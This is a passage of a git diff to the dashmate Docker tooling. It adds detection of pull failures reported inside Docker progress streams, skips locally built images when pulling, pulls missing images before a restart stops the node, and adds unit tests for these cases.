b/packages/dashmate/src/docker/dockerPullFactory.js @@ -1,3 +1,5 @@ +import findPullStreamError from './findPullStreamError.js'; + /** * @param {Docker} docker * @return {dockerPull} @@ -6,9 +8,10 @@ export default function dockerPullFactory(docker) { /** * @typedef {dockerPull} * @param {string} image + * @param {function} [onProgress] - called with every pull stream message * @return {Promise<*>} */ - function dockerPull(image) { + function dockerPull(image, onProgress = undefined) { return new Promise((resolve, reject) => { docker.pull(image, (err, stream) => { if (err) { @@ -24,8 +27,18 @@ export default function dockerPullFactory(docker) { return; } + // followProgress collects stream messages without inspecting them, + // so a failed pull has to be recognized here + const streamError = findPullStreamError(output); + + if (streamError) { + reject(new Error(streamError)); + + return; + } + resolve(output); - }); + }, onProgress); }); }); } diff --git a/packages/dashmate/src/docker/findPullStreamError.js b/packages/dashmate/src/docker/findPullStreamError.js new file mode 100644 index 00000000000..3004d1d801d --- /dev/null +++ b/packages/dashmate/src/docker/findPullStreamError.js @@ -0,0 +1,19 @@ +/** + * Find a failure reported inside a Docker pull progress stream + * + * Docker answers a pull request with 200 and then reports registry and disk + * failures as a message in the progress stream, so a completed stream doesn't + * mean the image was pulled. + * + * @param {Object[]} output - messages collected from the pull stream + * @return {string|undefined} failure reason + */ +export default function findPullStreamError(output) { + const failure = output.find((message) => message?.error); + + if (!failure) { + return undefined; + } + + return failure.errorDetail?.message ?? failure.error; +} diff --git a/packages/dashmate/src/docker/getServiceListFactory.js b/packages/dashmate/src/docker/getServiceListFactory.js index eff5fac7574..15235f33e52 100644 --- a/packages/dashmate/src/docker/getServiceListFactory.js +++ b/packages/dashmate/src/docker/getServiceListFactory.js @@ -40,7 +40,9 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { // map to array of services and populate with data .map((composeFileServiceEntry) => { const [serviceName, - { image: serviceImage, labels, profiles: serviceProfiles }] = composeFileServiceEntry; + { + image: serviceImage, labels, profiles: serviceProfiles, build: serviceBuild, + }] = composeFileServiceEntry; const title = labels?.['org.dashmate.service.title']; @@ -48,6 +50,10 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { throw new Error(`Label for dashmate service ${serviceName} is not defined`); } + // A service with a build section is built from sources on this host, + // so its image exists only locally and can't be pulled from a registry + const isBuiltLocally = Boolean(serviceBuild); + // Use hardcoded version for dashmate helper // Or parse image env variable name and extract version from the env const serviceImageEnv = serviceImage.match(/([A-Z_]+)/); @@ -61,6 +67,7 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { name: serviceName, title, image, + isBuiltLocally, profiles: serviceProfiles ?? [], }); }); diff --git a/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js b/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js index 8751233e9da..3e45644e546 100644 --- a/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js @@ -5,9 +5,22 @@ import isServiceBuildRequired from '../../util/isServiceBuildRequired.js'; * @param {startNodeTask} startNodeTask * @param {stopNodeTask} stopNodeTask * @param {buildServicesTask} buildServicesTask + * @param {DockerCompose} dockerCompose + * @param {getConfigProfiles} getConfigProfiles * @return {restartNodeTask} */ -export default function restartNodeTaskFactory(startNodeTask, stopNodeTask, buildServicesTask) { +export default function restartNodeTaskFactory( + startNodeTask, + stopNodeTask, + buildServicesTask, + dockerCompose, + getConfigProfiles, +) { + function selectPlatformProfiles(config) { + return getConfigProfiles(config) + .filter((profile) => profile.startsWith('platform')); + } + /** * Restart node * @typedef {restartNodeTask} @@ -26,6 +39,23 @@ export default function restartNodeTaskFactory(startNodeTask, stopNodeTask, buil return buildServicesTask(config); }, }, + { + // Missing images must be fetched while the node is still running, + // otherwise a failed pull leaves it stopped + title: 'Pull missing images', + task: (ctx, task) => { + // Pull only what the following start is going to create + const profiles = ctx.platformOnly ? selectPlatformProfiles(config) : []; + + return dockerCompose.pullMissingImages(config, { + profiles, + onProgress: (message) => { + // eslint-disable-next-line no-param-reassign + task.output = message; + }, + }); + }, + }, { task: () => stopNodeTask(config), }, diff --git a/packages/dashmate/src/update/updateNodeFactory.js b/packages/dashmate/src/update/updateNodeFactory.js index 0f50d44acbc..cd43c6f75d2 100644 --- a/packages/dashmate/src/update/updateNodeFactory.js +++ b/packages/dashmate/src/update/updateNodeFactory.js @@ -1,4 +1,5 @@ import lodash from 'lodash'; +import findPullStreamError from '../docker/findPullStreamError.js'; /** * @param {getServiceList} getServiceList @@ -19,53 +20,71 @@ export default function updateNodeFactory(getServiceList, docker) { return Promise.all( lodash.uniqBy(services, 'image') - .map(async ({ name, image, title }) => new Promise((resolve) => { - docker.pull(image, (err, stream) => { - if (err) { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.error(`Failed to update ${name} service, image ${image}, error: ${err}`); + .map(async ({ + name, title, image, isBuiltLocally, + }) => { + // An image built from sources on this host has nothing to pull + if (isBuiltLocally) { + return { + name, title, image, updated: 'built locally', + }; + } + + return new Promise((resolve) => { + docker.pull(image, (err, stream) => { + if (err) { + resolve({ + name, title, image, updated: 'error', error: err.message, + }); + + return; } - resolve({ - name, title, image, updated: 'error', - }); - } else { - let updated = 'error'; + // followProgress owns the stream: it joins messages split across + // chunks, splits them the way Docker writes them and reports + // transport failures. A failed pull arrives as a regular message + docker.modem.followProgress(stream, (streamError, output) => { + const error = streamError?.message ?? findPullStreamError(output); - stream.on('data', (data) => { - // parse all stdout and gather Status message - const [status] = data - .toString() - .trim() - .split('\r\n') - .map((str) => JSON.parse(str)) - .filter((obj) => obj?.status?.startsWith('Status: ')); + if (error) { + resolve({ + name, title, image, updated: 'error', error, + }); - if (status) { - if (status.status.includes('Image is up to date for')) { - updated = 'up to date'; - } else if (status.status.includes('Downloaded newer image for')) { - updated = 'updated'; - } + return; } - }); - stream.on('error', () => { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.error(`Failed to update ${name} service, image ${image}, error: ${err}`); + + const status = output + .find((message) => message?.status?.startsWith('Status: ')) + ?.status; + + if (status?.includes('Image is up to date for')) { + resolve({ + name, title, image, updated: 'up to date', + }); + + return; + } + + if (status?.includes('Downloaded newer image for')) { + resolve({ + name, title, image, updated: 'updated', + }); + + return; } resolve({ - name, title, image, updated: 'error', + name, + title, + image, + updated: 'error', + error: 'Docker did not report the pull result', }); }); - stream.on('end', () => resolve({ - name, title, image, updated, - })); - } + }); }); - })), + }), ); } diff --git a/packages/dashmate/test/unit/commands/group/restart.spec.js b/packages/dashmate/test/unit/commands/group/restart.spec.js new file mode 100644 index 00000000000..c06c1ef483d --- /dev/null +++ b/packages/dashmate/test/unit/commands/group/restart.spec.js @@ -0,0 +1,66 @@ +import GroupRestartCommand from '../../../../src/commands/group/restart.js'; +import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; + +describe('Group restart command', () => { + let configGroup; + let dockerCompose; + let stopNodeTask; + let startGroupNodesTask; + let command; + + beforeEach(function it() { + configGroup = [getConfigMock(this.sinon), getConfigMock(this.sinon)]; + configGroup.forEach((config, index) => { + config.get.withArgs('group').returns('local'); + config.getName.returns(`local_${index}`); + }); + + dockerCompose = { + pullMissingImages: this.sinon.stub().resolves([]), + }; + + stopNodeTask = this.sinon.stub().resolves(); + startGroupNodesTask = this.sinon.stub().resolves(); + + command = new GroupRestartCommand(); + }); + + /** + * @return {Promise} + */ + function run() { + return command.runWithDependencies( + {}, + { verbose: false, safe: false }, + dockerCompose, + stopNodeTask, + startGroupNodesTask, + configGroup, + ); + } + + it('should not stop any node when a required image can not be pulled', async () => { + dockerCompose.pullMissingImages + .withArgs(configGroup[1]) + .rejects(new Error('Failed to pull image dashpay/drive:4: no space left on device')); + + const error = await run().then(() => null, (e) => e); + + expect(error, 'restart must fail instead of stopping the group').to.not.equal(null); + + // The command hides the reason behind MuteOneLineError for the CLI output + expect(error.getError().message).to.include('no space left on device'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startGroupNodesTask).to.have.not.been.called(); + }); + + it('should make sure images of every node are present before stopping the first one', async () => { + await run(); + + expect(dockerCompose.pullMissingImages).to.have.been.calledTwice(); + expect(dockerCompose.pullMissingImages).to.have.been.calledBefore(stopNodeTask); + expect(stopNodeTask).to.have.been.calledTwice(); + expect(startGroupNodesTask).to.have.been.calledOnce(); + }); +}); diff --git a/packages/dashmate/test/unit/commands/update.spec.js b/packages/dashmate/test/unit/commands/update.spec.js index 12536a22930..c7cef3ef206 100644 --- a/packages/dashmate/test/unit/commands/update.spec.js +++ b/packages/dashmate/test/unit/commands/update.spec.js @@ -1,3 +1,5 @@ +import { PassThrough } from 'node:stream'; +import Docker from 'dockerode'; import UpdateCommand from '../../../src/commands/update.js'; import HomeDir from '../../../src/config/HomeDir.js'; import getBaseConfigFactory from '../../../configs/defaults/getBaseConfigFactory.js'; @@ -9,11 +11,40 @@ describe('Update command', () => { let mockServicesList; let mockGetServicesList; let mockDocker; - let mockDockerStream; let mockDockerResponse; + let initialExitCode; + + const upToDate = { status: 'Status: Image is up to date for fake' }; + const downloaded = { status: 'Status: Downloaded newer image for fake' }; + + /** + * Docker answers a pull with a stream of newline separated JSON messages + * + * @param {Object[]|string[]} messages + * @return {PassThrough} + */ + function createPullStream(messages) { + const stream = new PassThrough(); + + messages.forEach((message) => { + stream.write(typeof message === 'string' ? message : `${JSON.stringify(message)}\r\n`); + }); + + stream.end(); + + return stream; + } beforeEach(async function it() { config = getConfigMock(this.sinon); + + initialExitCode = process.exitCode; + }); + + afterEach(() => { + // The command reports image failures through the process exit code, + // which would otherwise leak into the test runner's own exit code + process.exitCode = initialExitCode; }); beforeEach(async function it() { @@ -22,15 +53,16 @@ describe('Update command', () => { config = getBaseConfig(); mockGetServicesList = this.sinon.stub().callsFake(() => mockServicesList); - mockDockerStream = { - on: this.sinon.stub().callsFake((channel, cb) => (channel !== 'error' - ? cb(Buffer.from(`${JSON.stringify(mockDockerResponse)}\r\n`)) : null)), + mockDocker = { + // The real modem is used on purpose: it owns the pull stream parsing + modem: new Docker().modem, + pull: this.sinon.stub() + .callsFake((image, cb) => cb(false, createPullStream([mockDockerResponse]))), }; - mockDocker = { pull: this.sinon.stub().callsFake((image, cb) => cb(false, mockDockerStream)) }; }); it('should just update', async () => { - mockDockerResponse = { status: 'Status: Image is up to date for' }; + mockDockerResponse = upToDate; mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; const command = new UpdateCommand(); @@ -41,45 +73,267 @@ describe('Update command', () => { expect(mockGetServicesList).to.have.been.calledOnceWithExactly(config); expect(mockDocker.pull).to.have.been.calledOnceWith(mockServicesList[0].image); + expect(process.exitCode).to.equal(initialExitCode); }); it('should update other services if one of them fails', async function it() { const command = new UpdateCommand(); - mockDockerResponse = { status: 'Status: Image is up to date for' }; + mockDockerResponse = upToDate; mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }, { name: 'fake_docker_pull_error', image: 'fake_err_image', title: 'FAKE_ERROR' }]; + this.sinon.stub(console, 'error'); + // test docker.pull returns error - mockDocker = { - pull: this.sinon.stub() - .callsFake((image, cb) => (image === mockServicesList[1].image ? cb(new Error(), null) - : cb(false, mockDockerStream))), - }; + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => (image === mockServicesList[1].image + ? cb(new Error('pull access denied'), null) + : cb(false, createPullStream([mockDockerResponse])))); let updateNode = updateNodeFactory(mockGetServicesList, mockDocker); - await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + let updateInfo = await updateNode(config); expect(mockGetServicesList).to.have.been.calledOnceWithExactly(config); expect(mockDocker.pull.firstCall.firstArg).to.equal(mockServicesList[0].image); expect(mockDocker.pull.secondCall.firstArg).to.equal(mockServicesList[1].image); + expect(updateInfo[0].updated).to.equal('up to date'); + expect(updateInfo[1].updated).to.equal('error'); + expect(updateInfo[1].error).to.equal('pull access denied'); // test docker.pull stream returns error - mockDocker = { pull: this.sinon.stub().callsFake((image, cb) => cb(false, mockDockerStream)) }; - mockDockerStream = { - on: this.sinon.stub().callsFake((channel, cb) => (channel === 'error' ? cb(new Error()) : null)), - }; - - // reset mockGetServicesList = this.sinon.stub().callsFake(() => mockServicesList); - mockDocker = { pull: this.sinon.stub().callsFake((image, cb) => cb(false, mockDockerStream)) }; + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => { + const stream = createPullStream([mockDockerResponse]); + + cb(false, stream); + + if (image === mockServicesList[1].image) { + stream.destroy(new Error('socket hang up')); + } + }); updateNode = updateNodeFactory(mockGetServicesList, mockDocker); - await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + updateInfo = await updateNode(config); expect(mockGetServicesList).to.have.been.calledOnceWithExactly(config); expect(mockDocker.pull.firstCall.firstArg).to.equal(mockServicesList[0].image); expect(mockDocker.pull.secondCall.firstArg).to.equal(mockServicesList[1].image); + expect(updateInfo[1].updated).to.equal('error'); + expect(updateInfo[1].error).to.equal('socket hang up'); + + await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + + expect(process.exitCode).to.equal(1); + }); + + it('should exit with an error code and print the reason when Docker can not be reached', async function it() { + mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; + + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(new Error('connect ENOENT /var/run/docker.sock'), null)); + + const consoleError = this.sinon.stub(console, 'error'); + + const command = new UpdateCommand(); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + + expect(process.exitCode).to.equal(1); + expect(consoleError).to.have.been.called(); + expect(consoleError.args.join('\n')).to.include('connect ENOENT /var/run/docker.sock'); + }); + + it('should exit with an error code and print the reason when Docker Hub rate limits the pull', async function it() { + const rateLimitMessage = 'toomanyrequests: You have reached your pull rate limit'; + + mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; + + // Docker reports registry and disk errors inside the pull stream, + // not through the pull callback + mockDockerResponse = { + errorDetail: { message: rateLimitMessage }, + error: rateLimitMessage, + }; + + const consoleError = this.sinon.stub(console, 'error'); + + const command = new UpdateCommand(); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + + expect(process.exitCode).to.equal(1); + expect(consoleError.args.join('\n')).to.include(rateLimitMessage); + }); + + it('should report the reason when Docker splits a message across chunks', async function it() { + const rateLimitMessage = 'toomanyrequests: You have reached your pull rate limit'; + + mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; + + const line = JSON.stringify({ + errorDetail: { message: rateLimitMessage }, + error: rateLimitMessage, + }); + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => cb( + false, + createPullStream([line.slice(0, 20), `${line.slice(20)}\n`]), + )); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + const [updateInfo] = await updateNode(config); + + expect(updateInfo.updated).to.equal('error'); + expect(updateInfo.error).to.equal(rateLimitMessage); + }); + + it('should report the reason when Docker separates messages with a line feed', async function it() { + const rateLimitMessage = 'toomanyrequests: You have reached your pull rate limit'; + + mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; + + // Docker separates messages with a line feed and can deliver + // several of them in a single chunk + const chunk = [ + JSON.stringify({ status: 'Pulling from dashpay/drive' }), + JSON.stringify({ errorDetail: { message: rateLimitMessage }, error: rateLimitMessage }), + '', + ].join('\n'); + + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(false, createPullStream([chunk]))); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + const [updateInfo] = await updateNode(config); + + expect(updateInfo.updated).to.equal('error'); + expect(updateInfo.error).to.equal(rateLimitMessage); + }); + + it('should exit with an error code when the pull fails after the image was downloaded', async function it() { + const diskFullMessage = 'write /var/lib/docker/tmp: no space left on device'; + + mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => cb( + false, + createPullStream([ + downloaded, + { errorDetail: { message: diskFullMessage }, error: diskFullMessage }, + ]), + )); + + const consoleError = this.sinon.stub(console, 'error'); + + const command = new UpdateCommand(); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + + expect(process.exitCode).to.equal(1); + expect(consoleError.args.join('\n')).to.include(diskFullMessage); + }); + + it('should keep the JSON output parseable and carry the reason when an image fails', async function it() { + mockServicesList = [{ name: 'fake', image: 'fake', title: 'FAKE' }]; + + mockDocker.pull = this.sinon.stub() + .callsFake((image, cb) => cb(new Error('no space left on device'), null)); + + const consoleLog = this.sinon.stub(console, 'log'); + this.sinon.stub(console, 'error'); + + const command = new UpdateCommand(); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + + expect(consoleLog).to.have.been.calledOnce(); + + const output = JSON.parse(consoleLog.firstCall.firstArg); + + expect(output).to.have.lengthOf(1); + expect(output[0].updated).to.equal('error'); + expect(output[0].error).to.include('no space left on device'); + }); + + it('should print the reason to stderr and keep the table intact in plain output', async function it() { + const diskFullMessage = 'write /var/lib/docker/tmp: no space left on device'; + + mockDockerResponse = upToDate; + mockServicesList = [ + { name: 'core', image: 'dashpay/dashd:23', title: 'Core' }, + { name: 'drive_abci', image: 'dashpay/drive:4', title: 'Drive ABCI' }, + ]; + + mockDocker.pull = this.sinon.stub().callsFake((image, cb) => (image === 'dashpay/drive:4' + ? cb(new Error(diskFullMessage), null) + : cb(false, createPullStream([mockDockerResponse])))); + + const consoleLog = this.sinon.stub(console, 'log'); + const consoleError = this.sinon.stub(console, 'error'); + + const command = new UpdateCommand(); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + await command.runWithDependencies({}, { format: 'plain' }, mockDocker, config, updateNode); + + const table = consoleLog.firstCall.firstArg; + + expect(table).to.include('Drive ABCI'); + expect(table).to.include('error'); + // The table has no column for it, so the reason is only reported on stderr + expect(table).to.not.include(diskFullMessage); + + const stderr = consoleError.args.join('\n'); + + expect(stderr).to.include('Failed to update 1 of 2 images'); + expect(stderr).to.include(`Drive ABCI (dashpay/drive:4): ${diskFullMessage}`); + expect(process.exitCode).to.equal(1); + }); + + it('should show images built from local sources as built locally', async function it() { + mockDockerResponse = upToDate; + mockServicesList = [ + { name: 'fake', image: 'fake', title: 'FAKE' }, + { + name: 'drive_abci', image: 'drive:local', title: 'Drive ABCI', isBuiltLocally: true, + }, + ]; + + const consoleLog = this.sinon.stub(console, 'log'); + const consoleError = this.sinon.stub(console, 'error'); + + const command = new UpdateCommand(); + + const updateNode = updateNodeFactory(mockGetServicesList, mockDocker); + + await command.runWithDependencies({}, { format: 'json' }, mockDocker, config, updateNode); + + expect(mockDocker.pull).to.have.been.calledOnceWith('fake'); + + const output = JSON.parse(consoleLog.firstCall.firstArg); + + expect(output).to.have.lengthOf(2); + expect(output[1]).to.deep.equal({ + name: 'drive_abci', + title: 'Drive ABCI', + image: 'drive:local', + updated: 'built locally', + }); + + expect(consoleError).to.have.not.been.called(); + expect(process.exitCode).to.equal(initialExitCode); }); }); diff --git a/packages/dashmate/test/unit/docker/DockerCompose.spec.js b/packages/dashmate/test/unit/docker/DockerCompose.spec.js new file mode 100644 index 00000000000..cbe9925d741 --- /dev/null +++ b/packages/dashmate/test/unit/docker/DockerCompose.spec.js @@ -0,0 +1,224 @@ +import DockerCompose from '../../../src/docker/DockerCompose.js'; +import getConfigMock from '../../../src/test/mock/getConfigMock.js'; + +describe('DockerCompose', () => { + describe('#pullMissingImages', () => { + let config; + let docker; + let getServiceList; + let dockerPull; + let dockerCompose; + let presentImages; + + /** + * @param {string} image + * @return {{inspect: function}} + */ + function getImage(image) { + return { + inspect: async () => { + if (presentImages.includes(image)) { + return { Id: image }; + } + + const error = new Error(`No such image: ${image}`); + error.statusCode = 404; + + throw error; + }, + }; + } + + beforeEach(function it() { + this.sinon.stub(DockerCompose.prototype, 'throwErrorIfNotInstalled').resolves(); + + config = getConfigMock(this.sinon); + + presentImages = []; + + docker = { getImage: this.sinon.stub().callsFake(getImage) }; + getServiceList = this.sinon.stub(); + + // A successful pull leaves the image on the host + dockerPull = this.sinon.stub().callsFake(async (image) => { + presentImages.push(image); + }); + + dockerCompose = new DockerCompose( + docker, + undefined, + undefined, + undefined, + getServiceList, + dockerPull, + ); + }); + + it('should not pull anything when all images are already on the host', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + presentImages = ['dashpay/dashd:23', 'dashpay/drive:4']; + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal([]); + expect(dockerPull).to.have.not.been.called(); + }); + + it('should pull an image that is missing on the host', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + presentImages = ['dashpay/dashd:23']; + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal(['dashpay/drive:4']); + expect(dockerPull).to.have.been.calledOnce(); + expect(dockerPull.firstCall.firstArg).to.equal('dashpay/drive:4'); + }); + + it('should report the reason when a missing image can not be pulled', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.rejects(new Error('write /var/lib/docker: no space left on device')); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith(/dashpay\/drive:4.*no space left on device/); + }); + + it('should fail when the image is still missing after Docker reported a successful pull', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.resolves([]); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith('Failed to pull image dashpay/drive:4: it is still not present on the host'); + }); + + it('should report which image could not be checked when Docker fails', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + docker.getImage.returns({ + inspect: async () => { + const error = new Error('server error'); + error.statusCode = 500; + + throw error; + }, + }); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith('Failed to check image dashpay/drive:4: server error'); + + expect(dockerPull).to.have.not.been.called(); + }); + + it('should stop at the first image that can not be pulled', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + { + name: 'gateway', image: 'dashpay/envoy:1.39.0', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.withArgs('dashpay/drive:4') + .rejects(new Error('toomanyrequests: You have reached your pull rate limit')); + + await expect(dockerCompose.pullMissingImages(config)) + .to.be.rejectedWith(/dashpay\/drive:4.*toomanyrequests/); + + expect(dockerPull.args.map(([image]) => image)) + .to.deep.equal(['dashpay/dashd:23', 'dashpay/drive:4']); + }); + + it('should not try to pull images built from local sources', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'drive:local', isBuiltLocally: true, profiles: ['platform'], + }, + ]); + + const pulledImages = await dockerCompose.pullMissingImages(config); + + expect(pulledImages).to.deep.equal([]); + expect(dockerPull).to.have.not.been.called(); + }); + + it('should not pull images of services the requested profiles exclude', async () => { + getServiceList.returns([ + { + name: 'core', image: 'dashpay/dashd:23', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'insight', image: 'dashpay/insight-api:latest', isBuiltLocally: false, profiles: ['core'], + }, + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + // Compose always creates a service that declares no profiles + { + name: 'dashmate_helper', image: 'dashpay/dashmate-helper:4.1.0', isBuiltLocally: false, profiles: [], + }, + ]); + + const pulledImages = await dockerCompose.pullMissingImages(config, { profiles: ['platform'] }); + + expect(pulledImages).to.deep.equal(['dashpay/drive:4', 'dashpay/dashmate-helper:4.1.0']); + expect(docker.getImage).to.have.not.been.calledWith('dashpay/insight-api:latest'); + }); + + it('should report pull progress', async () => { + getServiceList.returns([ + { + name: 'drive_abci', image: 'dashpay/drive:4', isBuiltLocally: false, profiles: ['platform'], + }, + ]); + + dockerPull.callsFake(async (image, onProgress) => { + onProgress({ status: 'Downloading', progress: '[====> ] 12MB/45MB' }); + onProgress({ progressDetail: {} }); + + presentImages.push(image); + }); + + const messages = []; + + await dockerCompose.pullMissingImages(config, { + onProgress: (message) => messages.push(message), + }); + + expect(messages).to.deep.equal(['dashpay/drive:4: Downloading [====> ] 12MB/45MB']); + }); + }); +}); diff --git a/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js b/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js new file mode 100644 index 00000000000..627e5ed0a4d --- /dev/null +++ b/packages/dashmate/test/unit/docker/dockerPullFactory.spec.js @@ -0,0 +1,72 @@ +import { PassThrough } from 'node:stream'; +import Docker from 'dockerode'; +import dockerPullFactory from '../../../src/docker/dockerPullFactory.js'; + +describe('dockerPull', () => { + let stream; + let docker; + let dockerPull; + + beforeEach(() => { + stream = new PassThrough(); + + // The real modem is used on purpose: it owns the stream buffering and + // decides what counts as a failed pull + docker = { + modem: new Docker().modem, + pull: (image, callback) => callback(null, stream), + }; + + dockerPull = dockerPullFactory(docker); + }); + + it('should reject when Docker Hub rate limits the pull', async () => { + const message = 'toomanyrequests: You have reached your pull rate limit'; + + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ errorDetail: { message }, error: message })}\n`); + stream.end(); + + await expect(promise).to.be.rejectedWith(message); + }); + + it('should reject when the host runs out of disk space during the pull', async () => { + const message = 'write /var/lib/docker/tmp: no space left on device'; + + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ status: 'Downloading', id: 'a1b2c3' })}\n`); + stream.write(`${JSON.stringify({ errorDetail: { message }, error: message })}\n`); + stream.end(); + + await expect(promise).to.be.rejectedWith(message); + }); + + it('should reject when the daemon refuses the pull', async () => { + docker.pull = (image, callback) => callback(new Error('connect ENOENT /var/run/docker.sock')); + + await expect(dockerPull('dashpay/drive:4')) + .to.be.rejectedWith('connect ENOENT /var/run/docker.sock'); + }); + + it('should reject when the pull stream fails', async () => { + const promise = dockerPull('dashpay/drive:4'); + + stream.destroy(new Error('socket hang up')); + + await expect(promise).to.be.rejectedWith('socket hang up'); + }); + + it('should resolve when the pull succeeds', async () => { + const promise = dockerPull('dashpay/drive:4'); + + stream.write(`${JSON.stringify({ status: 'Status: Downloaded newer image for dashpay/drive:4' })}\n`); + stream.end(); + + const output = await promise; + + expect(output).to.have.lengthOf(1); + expect(output[0].status).to.equal('Status: Downloaded newer image for dashpay/drive:4'); + }); +}); diff --git a/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js b/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js new file mode 100644 index 00000000000..d1fc5c66d36 --- /dev/null +++ b/packages/dashmate/test/unit/docker/getServiceListFactory.spec.js @@ -0,0 +1,110 @@ +import getServiceListFactory from '../../../src/docker/getServiceListFactory.js'; +import getConfigMock from '../../../src/test/mock/getConfigMock.js'; +import { DASHMATE_HELPER_DOCKER_IMAGE } from '../../../src/constants.js'; + +describe('getServiceList', () => { + let config; + let getConfigProfiles; + + const images = { + CORE_DOCKER_IMAGE: 'dashpay/dashd:23', + PLATFORM_DRIVE_ABCI_DOCKER_IMAGE: 'dashpay/drive:4', + PLATFORM_DAPI_RS_DAPI_DOCKER_IMAGE: 'dashpay/rs-dapi:4', + }; + + /** + * @param {string[]} buildComposeFiles + * @param {Object} sinon + * @return {getServiceList} + */ + function createGetServiceList(buildComposeFiles, sinon) { + const generateEnvs = sinon.stub().returns({ + COMPOSE_FILE: ['docker-compose.yml', ...buildComposeFiles].join(':'), + ...images, + }); + + return getServiceListFactory(generateEnvs, getConfigProfiles); + } + + beforeEach(function it() { + config = getConfigMock(this.sinon); + + getConfigProfiles = this.sinon.stub().returns(['core', 'platform', 'platform-dapi-rs']); + }); + + it('should not mark any service as built locally by default', function it() { + const services = createGetServiceList([], this.sinon)(config); + + expect(services).to.have.length.greaterThan(0); + expect(services.every((service) => service.isBuiltLocally === false)).to.be.true(); + + const core = services.find((service) => service.name === 'core'); + + expect(core.image).to.equal('dashpay/dashd:23'); + }); + + it('should mark Drive as built locally when it is built from sources', function it() { + const services = createGetServiceList( + ['docker-compose.build.drive_abci.yml'], + this.sinon, + )(config); + + const driveAbci = services.find((service) => service.name === 'drive_abci'); + const core = services.find((service) => service.name === 'core'); + + // The build compose file replaces the registry image with a locally built one + expect(driveAbci.image).to.equal('drive:local'); + expect(driveAbci.isBuiltLocally).to.be.true(); + + expect(core.isBuiltLocally).to.be.false(); + }); + + it('should mark DAPI as built locally when it is built from sources', function it() { + const services = createGetServiceList( + ['docker-compose.build.rs-dapi.yml'], + this.sinon, + )(config); + + const rsDapi = services.find((service) => service.name === 'rs_dapi'); + + expect(rsDapi.image).to.equal('rs-dapi:local'); + expect(rsDapi.isBuiltLocally).to.be.true(); + }); + + it('should mark the helper as built locally while still reporting its released image', function it() { + const services = createGetServiceList( + ['docker-compose.build.dashmate_helper.yml'], + this.sinon, + )(config); + + const helper = services.find((service) => service.name === 'dashmate_helper'); + + 